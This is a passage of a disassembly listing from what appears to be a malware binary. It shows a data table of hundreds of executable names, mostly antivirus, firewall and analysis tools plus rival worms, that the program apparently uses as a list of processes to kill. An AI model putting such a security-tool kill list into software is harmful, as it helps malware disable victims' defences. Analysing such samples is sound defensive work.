"NISSERV.EXE" dd offset aNisum_exe ; "NISUM.EXE" dd offset aNmain_exe ; "NMAIN.EXE" dd offset aNod32_exe ; "NOD32.EXE" dd offset aNormist_exe ; "NORMIST.EXE" dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE" dd offset aNotstart_exe ; "NOTSTART.EXE" dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE" dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE" dd offset aNprotect_exe ; "NPROTECT.EXE" dd offset aNpscheck_exe ; "NPSCHECK.EXE" dd offset aNpssvc_exe ; "NPSSVC.EXE" dd offset aNsched32_exe ; "NSCHED32.EXE" dd offset aNssys32_exe ; "NSSYS32.EXE" dd offset aNstask32_exe ; "NSTASK32.EXE" dd offset aNsupdate_exe ; "NSUPDATE.EXE" dd offset aNt_exe ; "NT.EXE" dd offset aNtrtscan_exe ; "NTRTSCAN.EXE" dd offset aNtvdm_exe ; "NTVDM.EXE" dd offset aNtxconfig_exe ; "NTXconfig.EXE" dd offset aNui_exe ; "NUI.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNvarch16_exe ; "NVARCH16.EXE" dd offset aNvc95_exe ; "NVC95.EXE" dd offset aNvsvc32_exe ; "NVSVC32.EXE" dd offset aNwinst4_exe ; "NWINST4.EXE" dd offset aNwservice_exe ; "NWSERVICE.EXE" dd offset aNwtool16_exe ; "NWTOOL16.EXE" dd offset aOllydbg_exe ; "OLLYDBG.EXE" dd offset aOnsrvr_exe ; "ONSRVR.EXE" dd offset aOptimize_exe ; "OPTIMIZE.EXE" dd offset aOstronet_exe ; "OSTRONET.EXE" dd offset aOtfix_exe ; "OTFIX.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE" dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE" dd offset aPadmin_exe ; "PADMIN.EXE" dd offset aPanixk_exe ; "PANIXK.EXE" dd offset aPatch_exe ; "PATCH.EXE" dd offset aPavcl_exe ; "PAVCL.EXE" dd offset aPavproxy_exe ; "PAVPROXY.EXE" dd offset aPavsched_exe ; "PAVSCHED.EXE" dd offset aPavw_exe ; "PAVW.EXE" dd offset aPcc2002s902_ex ; "PCC2002S902.EXE" dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE" dd offset aPcciomon_exe ; "PCCIOMON.EXE" dd offset aPccntmon_exe ; "PCCNTMON.EXE" dd offset aPccwin97_exe ; "PCCWIN97.EXE" dd offset aPccwin98_exe ; "PCCWIN98.EXE" dd offset aPcdsetup_exe ; "PCDSETUP.EXE" dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE" dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE" dd offset aPcscan_exe ; "PCSCAN.EXE" dd offset aPdsetup_exe ; "PDSETUP.EXE" dd offset aPenis_exe ; "PENIS.EXE" dd offset aPeriscope_exe ; "PERISCOPE.EXE" dd offset aPersfw_exe ; "PERSFW.EXE" dd offset aPerswf_exe ; "PERSWF.EXE" dd offset aPf2_exe ; "PF2.EXE" dd offset aPfwadmin_exe ; "PFWADMIN.EXE" dd offset aPgmonitr_exe ; "PGMONITR.EXE" dd offset aPingscan_exe ; "PINGSCAN.EXE" dd offset aPlatin_exe ; "PLATIN.EXE" dd offset aPop3trap_exe ; "POP3TRAP.EXE" dd offset aPoproxy_exe ; "POPROXY.EXE" dd offset aPopscan_exe ; "POPSCAN.EXE" dd offset aPortdetective_ ; "PORTDETECTIVE.EXE" dd offset aPortmonitor_ex ; "PORTMONITOR.EXE" dd offset aPowerscan_exe ; "POWERSCAN.EXE" dd offset aPpinupdt_exe ; "PPINUPDT.EXE" dd offset aPptbc_exe ; "PPTBC.EXE" dd offset aPpvstop_exe ; "PPVSTOP.EXE" dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE" dd offset aPrmt_exe ; "PRMT.EXE" dd offset aPrmvr_exe ; "PRMVR.EXE" dd offset aProcdump_exe ; "PROCDUMP.EXE" dd offset aProcessmonitor ; "PROCESSMONITOR.EXE" dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE" dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE" dd offset aProport_exe ; "PROPORT.EXE" dd offset aProtectx_exe ; "PROTECTX.EXE" dd offset aPspf_exe ; "PSPF.EXE" dd offset aPurge_exe ; "PURGE.EXE" dd offset aPussy_exe ; "PUSSY.EXE" dd offset aPview95_exe ; "PVIEW95.EXE" dd offset aQconsole_exe ; "QCONSOLE.EXE" dd offset aQserver_exe ; "QSERVER.EXE" dd offset aRapapp_exe ; "RAPAPP.EXE" dd offset aRav7_exe ; "RAV7.EXE" dd offset aRav7win_exe ; "RAV7WIN.EXE" dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE" dd offset aRay_exe ; "RAY.EXE" dd offset aRb32_exe ; "RB32.EXE" dd offset aRcsync_exe ; "RCSYNC.EXE" dd offset aRealmon_exe ; "REALMON.EXE" dd offset aReged_exe ; "REGED.EXE" dd offset aRegedit_exe ; "REGEDIT.EXE" dd offset aRegedt32_exe ; "REGEDT32.EXE" dd offset aRescue_exe ; "RESCUE.EXE" dd offset aRescue32_exe ; "RESCUE32.EXE" dd offset aRrguard_exe ; "RRGUARD.EXE" dd offset aRshell_exe ; "RSHELL.EXE" dd offset aRtvscan_exe ; "RTVSCAN.EXE" dd offset aRtvscn95_exe ; "RTVSCN95.EXE" dd offset aRulaunch_exe ; "RULAUNCH.EXE" dd offset aRun32dll_exe ; "RUN32DLL.EXE" dd offset aRundll_exe ; "RUNDLL.EXE" dd offset aRundll16_exe ; "RUNDLL16.EXE" dd offset aRuxdll32_exe ; "RUXDLL32.EXE" dd offset aSafeweb_exe ; "SAFEWEB.EXE" dd offset aSahagent_exe ; "SAHAGENT.EXE" dd offset aSave_exe ; "SAVE.EXE" dd offset aSavenow_exe ; "SAVENOW.EXE" dd offset aSbserv_exe ; "SBSERV.EXE" dd offset aSc_exe ; "SC.EXE" dd offset aScam32_exe ; "SCAM32.EXE" dd offset aScan32_exe ; "SCAN32.EXE" dd offset aScan95_exe ; "SCAN95.EXE" dd offset aScanpm_exe ; "SCANPM.EXE" dd offset aScrscan_exe ; "SCRSCAN.EXE" dd offset aScrsvr_exe ; "SCRSVR.EXE" dd offset aScvhost_exe ; "SCVHOST.EXE" dd offset aSd_exe ; "SD.EXE" dd offset aServ95_exe ; "SERV95.EXE" dd offset aService_exe ; "SERVICE.EXE" dd offset aServlce_exe ; "SERVLCE.EXE" dd offset aServlces_exe ; "SERVLCES.EXE" dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE" dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE" dd offset aSfc_exe ; "SFC.EXE" dd offset aSgssfw32_exe ; "SGSSFW32.EXE" dd offset aSh_exe ; "SH.EXE" dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE" dd offset aShn_exe ; "SHN.EXE" dd offset aShowbehind_exe ; "SHOWBEHIND.EXE" dd offset aSmc_exe ; "SMC.EXE" dd offset aSms_exe ; "SMS.EXE" dd offset aSmss32_exe ; "SMSS32.EXE" dd offset aSoap_exe ; "SOAP.EXE" dd offset aSofi_exe ; "SOFI.EXE" dd offset aSperm_exe ; "SPERM.EXE" dd offset aSpf_exe ; "SPF.EXE" dd offset aSphinx_exe ; "SPHINX.EXE" dd offset aSpoler_exe ; "SPOLER.EXE" dd offset aSpoolcv_exe ; "SPOOLCV.EXE" dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE" dd offset aSpyxx_exe ; "SPYXX.EXE" dd offset aSrexe_exe ; "SREXE.EXE" dd offset aSrng_exe ; "SRNG.EXE" dd offset aSs3edit_exe ; "SS3EDIT.EXE" dd offset aSsgrate_exe ; "SSGRATE.EXE" dd offset aSsg_4104_exe ; "SSG_4104.EXE" dd offset aSt2_exe ; "ST2.EXE" dd offset aStart_exe ; "START.EXE" dd offset aStcloader_exe ; "STCLOADER.EXE" dd offset aSupftrl_exe ; "SUPFTRL.EXE" dd offset aSupport_exe ; "SUPPORT.EXE" dd offset aSupporter5_exe ; "SUPPORTER5.EXE" dd offset aSvc_exe ; "SVC.EXE" dd offset aSvchostc_exe ; "SVCHOSTC.EXE" dd offset aSvchosts_exe ; "SVCHOSTS.EXE" dd offset aSvshost_exe ; "SVSHOST.EXE" dd offset aSweep95_exe ; "SWEEP95.EXE" dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE" dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE" dd offset aSymtray_exe ; "SYMTRAY.EXE" dd offset aSysedit_exe ; "SYSEDIT.EXE" dd offset aSystem_exe ; "SYSTEM.EXE" dd offset aSystem32_exe ; "SYSTEM32.EXE" dd offset aSysupd_exe ; "SYSUPD.EXE" dd offset aTaskmg_exe ; "TASKMG.EXE" dd offset aTaskmo_exe ; "TASKMO.EXE" dd offset aTaskmon_exe ; "TASKMON.EXE" dd offset aTaumon_exe ; "TAUMON.EXE" dd offset aTbscan_exe ; "TBSCAN.EXE" dd offset aTc_exe ; "TC.EXE" dd offset aTca_exe ; "TCA.EXE" dd offset aTcm_exe ; "TCM.EXE" dd offset aTds3_exe ; "TDS-3.EXE" dd offset aTds298_exe ; "TDS2-98.EXE" dd offset aTds2Nt_exe ; "TDS2-NT.EXE" dd offset aTeekids_exe ; "TEEKIDS.EXE" dd offset aTfak_exe ; "TFAK.EXE" dd offset aTfak5_exe ; "TFAK5.EXE" dd offset aTgbob_exe ; "TGBOB.EXE" dd offset aTitanin_exe ; "TITANIN.EXE" dd offset aTitaninxp_exe ; "TITANINXP.EXE" dd offset aTracert_exe ; "TRACERT.EXE" dd offset aTrickler_exe ; "TRICKLER.EXE" dd offset aTrjscan_exe ; "TRJSCAN.EXE" dd offset aTrjsetup_exe ; "TRJSETUP.EXE" dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE" dd offset aTsadbot_exe ; "TSADBOT.EXE" dd offset aTvmd_exe ; "TVMD.EXE" dd offset aTvtmd_exe ; "TVTMD.EXE" dd offset aUndoboot_exe ; "UNDOBOOT.EXE" dd offset aUpdat_exe ; "UPDAT.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpgrad_exe ; "UPGRAD.EXE" dd offset aUtpost_exe ; "UTPOST.EXE" dd offset aVbcmserv_exe ; "VBCMSERV.EXE" dd offset aVbcons_exe ; "VBCONS.EXE" dd offset aVbust_exe ; "VBUST.EXE" dd offset aVbwin9x_exe ; "VBWIN9X.EXE" dd offset aVbwinntw_exe ; "VBWINNTW.EXE" dd offset aVcsetup_exe ; "VCSETUP.EXE" dd offset aVet32_exe ; "VET32.EXE" dd offset aVet95_exe ; "VET95.EXE" dd offset aVettray_exe ; "VETTRAY.EXE" dd offset aVfsetup_exe ; "VFSETUP.EXE" dd offset aVirHelp_exe ; "VIR-HELP.EXE" dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE" dd offset aVnlan300_exe ; "VNLAN300.EXE" dd offset aVnpc3000_exe ; "VNPC3000.EXE" dd offset aVpc32_exe ; "VPC32.EXE" dd offset aVpc42_exe ; "VPC42.EXE" dd offset aVpfw30s_exe ; "VPFW30S.EXE" dd offset aVptray_exe ; "VPTRAY.EXE" dd offset aVscan40_exe ; "VSCAN40.EXE" dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE" dd offset aVsched_exe ; "VSCHED.EXE" dd offset aVsecomr_exe ; "VSECOMR.EXE" dd offset aVshwin32_exe ; "VSHWIN32.EXE" dd offset aVsisetup_exe ; "VSISETUP.EXE" dd offset aVsmain_exe ; "VSMAIN.EXE" dd offset aVsmon_exe ; "VSMON.EXE" dd offset aVsstat_exe ; "VSSTAT.EXE" dd offset aVswin9xe_exe ; "VSWIN9XE.EXE" dd offset aVswinntse_exe ; "VSWINNTSE.EXE" dd offset aVswinperse_exe ; "VSWINPERSE.EXE" dd offset aW32dsm89_exe ; "W32DSM89.EXE" dd offset aW9x_exe ; "W9X.EXE" dd offset aWatchdog_exe ; "WATCHDOG.EXE" dd offset aWebdav_exe ; "WEBDAV.EXE" dd offset aWebscanx_exe ; "WEBSCANX.EXE" dd offset aWebtrap_exe ; "WEBTRAP.EXE" dd offset aWfindv32_exe ; "WFINDV32.EXE" dd offset aWgfe95_exe ; "WGFE95.EXE" dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE" dd offset aWimmun32_exe ; "WIMMUN32.EXE" dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE" dd offset aWin32_exe ; "WIN32.EXE" dd offset aWin32us_exe ; "WIN32US.EXE" dd offset aWinactive_exe ; "WINACTIVE.EXE" dd offset aWindow_exe ; "WINDOW.EXE" dd offset aWindows_exe ; "WINDOWS.EXE" dd offset aWininetd_exe ; "WININETD.EXE" dd offset aWininit_exe ; "WININIT.EXE" dd offset byte_435248 dd offset aWinlogin_exe ; "WINLOGIN.EXE" dd offset aWinmain_exe ; "WINMAIN.EXE" dd offset aWinnet_exe ; "WINNET.EXE" dd offset aWinppr32_exe ; "WINPPR32.EXE" dd offset aWinrecon_exe ; "WINRECON.EXE" dd offset aWinservn_exe ; "WINSERVN.EXE" dd offset aWinssk32_exe ; "WINSSK32.EXE" dd offset aWinstart_exe ; "WINSTART.EXE" dd offset aWinstart001_ex ; "WINSTART001.EXE" dd offset aWintsk32_exe ; "WINTSK32.EXE" dd offset aWinupdate_exe ; "WINUPDATE.EXE" dd offset aWkufind_exe ; "WKUFIND.EXE" dd offset aWnad_exe ; "WNAD.EXE" dd offset aWnt_exe ; "WNT.EXE" dd offset aWradmin_exe ; "WRADMIN.EXE" dd offset aWrctrl_exe ; "WRCTRL.EXE" dd offset aWsbgate_exe ; "WSBGATE.EXE" dd offset aWupdater_exe ; "WUPDATER.EXE" dd offset aWupdt_exe ; "WUPDT.EXE" dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE" dd offset aXpf202en_exe ; "XPF202EN.EXE" dd offset aZapro_exe ; "ZAPRO.EXE" dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE" dd offset aZatutor_exe ; "ZATUTOR.EXE" dd offset aZonalm2601_exe ; "ZONALM2601.EXE" dd offset aZonealarm_exe ; "ZONEALARM.EXE" dd offset a_avp32_exe ; "_AVP32.EXE" dd offset a_avpcc_exe ; "_AVPCC.EXE" dd offset a_avpm_exe ; "_AVPM.EXE" dd offset aHijackthis_exe ; "HIJACKTHIS.EXE" dd offset aFAgobot_exe ; "F-AGOBOT.EXE" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: sub_4123B8+ECo ; .data:00434FD4o align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:00434FD0o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:00434FCCo align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:00434FC8o align 10h aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:00434FC4o align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:00434FC0o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:00434FBCo align 4 aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:00434FB8o align 4 aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:00434FB4o aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:00434FB0o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:00434FACo aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00434FA8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00434FA4o align 4 aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: .data:00434FA0o align 4 aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: .data:00434F9Co align 4 a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: .data:00434F98o align 4 a_avpcc_exe db '_AVPCC.EXE',0 ; DATA XREF: .data:00434F94o align 10h a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: .data:00434F90o align 4 aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: .data:00434F8Co align 4 aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: .data:00434F88o align 4 aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: .data:00434F84o aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:00434F80o align 4 aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: .data:00434F7Co align 4 aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: .data:00434F78o align 4 aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:00434F74o aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: .data:00434F70o align 4 aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: .data:00434F6Co align 4 aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: .data:00434F68o aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: .data:00434F64o align 4 aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: .data:00434F60o aWnt_exe db 'WNT.EXE',0 ; DATA XREF: .data:00434F5Co aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: .data:00434F58o align 4 aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: .data:00434F54o aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: .data:00434F50o align 10h aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: .data:00434F4Co align 10h aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: .data:00434F48o aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: .data:00434F44o align 10h aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: .data:00434F40o align 10h aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: .data:00434F3Co align 10h aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: .data:00434F38o align 10h aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: .data:00434F34o align 10h aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .data:00434F30o align 4 aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: .data:00434F2Co aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .data:00434F28o align 4 byte_435248 db 57h ; DATA XREF: .data:00434F24o aIninitx_exe db 'ININITX.EXE',0 ; DATA XREF: .data:off_421CB4o align 4 aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: .data:00434F20o aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: .data:00434F1Co align 4 aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .data:00434F18o aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .data:00434F14o align 4 aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: .data:00434F10o align 4 aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: .data:00434F0Co aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .data:00434F08o align 4 aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: .data:00434F04o aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: .data:00434F00o align 4 aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:00434EFCo align 4 aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: .data:00434EF8o align 4 aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: .data:00434EF4o align 4 aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: .data:00434EF0o aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: .data:00434EECo align 10h aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: .data:00434EE8o align 4 aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: .data:00434EE4o align 4 aW9x_exe db 'W9X.EXE',0 ; DATA XREF: .data:00434EE0o aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: .data:00434EDCo align 4 aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: .data:00434ED8o align 4 aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: .data:00434ED4o align 4 aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: .data:00434ED0o align 4 aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: .data:00434ECCo align 10h aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: .data:00434EC8o align 4 aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: .data:00434EC4o align 4 aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: .data:00434EC0o align 4 aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: .data:00434EBCo align 4 aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: .data:00434EB8o aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: .data:00434EB4o align 10h aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:00434EB0o align 4 aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: .data:00434EACo aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: .data:00434EA8o align 4 aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: .data:00434EA4o aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: .data:00434EA0o align 4 aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: .data:00434E9Co align 10h aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: .data:00434E98o align 10h aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: .data:00434E94o align 10h aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:00434E90o aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: .data:00434E8Co align 4 aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: .data:00434E88o aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: .data:00434E84o aVet95_exe db 'VET95.EXE',0 ; DATA XREF: .data:00434E80o align 10h aVet32_exe db 'VET32.EXE',0 ; DATA XREF: .data:00434E7Co align 4 aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: .data:00434E78o aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: .data:00434E74o align 4 aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: .data:00434E70o aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: .data:00434E6Co align 10h aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: .data:00434E68o align 4 aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: .data:00434E64o align 4 aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: .data:00434E60o align 4 aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: .data:00434E5Co align 4 aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: .data:00434E54o ; .data:00434E58o align 10h aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .data:00434E50o align 4 aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: .data:00434E4Co align 4 aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: .data:00434E48o align 4 aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: .data:00434E44o align 4 aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: .data:00434E40o aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: .data:00434E3Co aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: .data:00434E38o align 10h aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: .data:00434E34o aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: .data:00434E30o align 4 aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: .data:00434E2Co aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: .data:00434E28o align 4 aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: .data:00434E24o aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: .data:00434E20o align 10h aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: .data:00434E1Co align 4 aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: .data:00434E18o align 4 aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: .data:00434E14o aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: .data:00434E10o aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: .data:00434E0Co aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: .data:00434E08o align 4 aTcm_exe db 'TCM.EXE',0 ; DATA XREF: .data:00434E04o aTca_exe db 'TCA.EXE',0 ; DATA XREF: .data:00434E00o aTc_exe db 'TC.EXE',0 ; DATA XREF: .data:00434DFCo align 10h aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: .data:00434DF8o align 4 aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: .data:00434DF4o align 4 aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: .data:00434DF0o aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: .data:00434DECo align 10h aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: .data:00434DE8o align 4 aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .data:00434DE4o align 4 aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .data:00434DE0o align 4 aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .data:00434DDCo align 4 aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: .data:00434DD8o aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: .data:00434DD4o aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: .data:00434DD0o aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:00434DCCo align 10h aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: .data:00434DC8o aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .data:00434DC4o aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .data:00434DC0o align 4 aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .data:00434DBCo align 4 aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .data:00434DB8o aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: .data:00434DB4o align 10h aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: .data:00434DB0o aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: .data:00434DACo aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: .data:00434DA8o align 4 aStart_exe db 'START.EXE',0 ; DATA XREF: .data:00434DA4o align 4 aSt2_exe db 'ST2.EXE',0 ; DATA XREF: .data:00434DA0o aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: .data:00434D9Co align 4 aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: .data:00434D98o aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: .data:00434D94o aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: .data:00434D90o align 10h aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: .data:00434D8Co align 4 aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: .data:00434D88o align 4 aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: .data:00434D84o align 4 aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: .data:00434D80o aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: .data:00434D7Co align 10h aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: .data:00434D78o align 4 aSpf_exe db 'SPF.EXE',0 ; DATA XREF: .data:00434D74o aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: .data:00434D70o align 10h aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: .data:00434D6Co align 4 aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: .data:00434D68o align 4 aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: .data:00434D64o align 4 aSms_exe db 'SMS.EXE',0 ; DATA XREF: .data:00434D60o aSmc_exe db 'SMC.EXE',0 ; DATA XREF: .data:00434D5Co aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: .data:00434D58o align 4 aShn_exe db 'SHN.EXE',0 ; DATA XREF: .data:00434D54o aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA 